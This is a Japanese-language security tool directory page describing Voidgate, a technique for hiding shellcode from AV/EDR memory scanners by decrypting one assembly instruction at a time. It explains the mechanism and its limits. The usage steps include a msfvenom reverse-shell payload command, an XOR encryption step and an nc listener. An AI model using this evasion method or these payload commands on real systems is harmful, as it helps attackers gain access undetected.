Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Voidgate — A technique that can be used to bypass AV/EDR memory scanners. This can be used to hide well-known and detected shellcodes (such as msfvenom) by performing on-the-fly decryption of individual encrypted assembly instructions, thus rendering memory scanners useless for that specific memory page. | Kitploit
ツール/GitHubGitHub/vxcrypt0r/voidgate
IDS/IPS EvasionShellcodeDebuggersRed TeamingPayload DevelopmentAdversarial Attack
GitHubvxcrypt0r/voidgate

Voidgate

リポジトリを見る
599842年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →

概要

A technique that can be used to bypass AV/EDR memory scanners. This can be used to hide well-known and detected shellcodes (such as msfvenom) by performing on-the-fly decryption of individual encrypted assembly instructions, thus rendering memory scanners useless for that specific memory page.

共有

VOIDGATE

説明:

AV/EDRメモリスキャナーをバイパスするために使用できるテクニックです。既知で検出されるシェルコード(msfvenomなど)を、個々の暗号化されたアセンブリ命令をオンザフライで復号化することで隠すために使用でき、特定のメモリページに対するメモリスキャナーを無力化します。


仕組み:

このテクニックは、暗号化されたアセンブリ命令が格納されるPAGE_EXECUTE_READWRITEメモリ領域を作成します。シェルコードはある程度のパディングで囲まれます。プログラムはシェルコードのエントリポイントにハードウェアブレークポイント(HWBP)を設定します。

次に、プログラムはベクタード例外ハンドラー(VEH)をインストールします。このVEHは基本的にデバッガーのように動作し、コードをシングルステップ実行しながら、VEHが受け取った各SINGLE STEP例外ごとに命令ポインタレジスタ(RIP)を読み取り、RIPが指す場所の次の16バイト(x64アセンブリ命令の最大長)を復号化します。VEHはまた、以前に復号化した命令を再暗号化し、現在実行中の単一のアセンブリ命令を除いて、シェルコードの残りが常に暗号化された状態を維持するようにします。その後、EflagsレジスタにTRAP FLAGを設定して実行を継続します。これにより、次のアセンブリ命令でもVEHが処理できるブレークポイント例外がトリガーされるようになります。

VEHのインストール後、メインスレッドの実行はペイロードのエントリポイントにリダイレクトされます。エントリポイントでHWBPがトリガーされると、VEHは実行される各アセンブリ命令で停止し、次のアセンブリ命令の復号化を実行し、グローバル変数として保存されている以前の暗号化命令を再暗号化します。

これにより、基本的に一度に復号化されるのは単一のアセンブリ命令のみとなり、ペイロードの残りは暗号化されたままになります。


制限事項:

注: このテクニックは、msfvenomやカスタムリバースシェルなどの基本的なシェルコードを使用して初期アクセスを取得するのに理想的です。また、C2サーバーから残りのペイロードをダウンロードする初期ステージ1ペイロードとしても使用できます。

注: このテクニックは、すべてのペイロード(リフレクティブローダーなど)と互換性があるわけではありません。以下は現在の制限事項のリストです:

  • 1.) シェルコード内で実行される各アセンブリ命令に対してVEHがトリガーされるため、シェルコードの実行速度は大幅に低下します。CPUが実行する各アセンブリ命令に対して、VEHは復号化、暗号化、メインスレッドへの実行復元を実行するために、少なくとも追加で300のASM命令を実行します。シェルコードがパフォーマンスよりもサイズの小ささを重視して最適化されている場合(msfvenomなど)、ペイロードの実行は遅くなります。MSFVENOMの実行には(CPUにもよりますが)15秒以上かかることがあります。これは、msfvenomが使用する特定のシェルコードが、ペイロードサイズを小さくするためにパフォーマンスを犠牲にしているためです。
  • 2.) シェルコードがNtCreateThreadまたはKernelbase.dll内のそのラッパーのいずれかを、エントリポイントがシェルコード内にある状態で呼び出す場合、新しく作成されたスレッドのエントリポイントにHWBPがインストールされていないため、VEHはそのスレッドの実行に対してトリガーされず、ペイロードは機能しません。(作業中 - このリポジトリでさらに実装される予定です)
  • 3.) シェルコードが内部に値/変数を保持している場合(例えば、WinExec WINAPIの呼び出しでオフセットを介して参照される生の文字列"powershell.exe"を含む場合や、数値がオフセット位置に保存されている場合)、シェルコードが後でその変数や文字列をどこかでロードまたは参照しようとすると、特定の変数や文字列が暗号化されるため、VEHはそれを復号化せず、プログラムは機能しません。シェルコードがアセンブリ命令を介してそのような引数をスタックにプッシュする場合(push 0x4141414141414141で"AAAAAAAA"をスタックにプッシュして関数呼び出しで使用するなど)、このテクニックは機能します。(作業中 - このリポジトリでさらに実装される予定です)

使用方法:

POCを再現する方法:

  • 1.) msfvenomペイロードを作成します:
root@kitploit:~
 msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.100.33 LPORT=443 -f raw > shell.asm
  • 2.) XorEncryptPayload.exeを使用してペイロードをXOR暗号化します
root@kitploit:~
./XorEncryptPayload.exe C:\Path\to\shell.asm
  • 3.) Voidgateプロジェクトのmain.cpp内にあるシェルコードを含む変数を更新します
  • 4.) xorキーが暗号化ツールとVoidgateプロジェクトで一致していることを確認します
  • 5.) 攻撃マシンでリスナーが待機していることを確認します:
root@kitploit:~
nc -nvlp 443
  • 6.) Voidgate.exeを実行します

デモ:


免責事項

このリポジトリは学術目的のためのものであり、このソフトウェアの使用は自己責任です。

ツールをダウンロード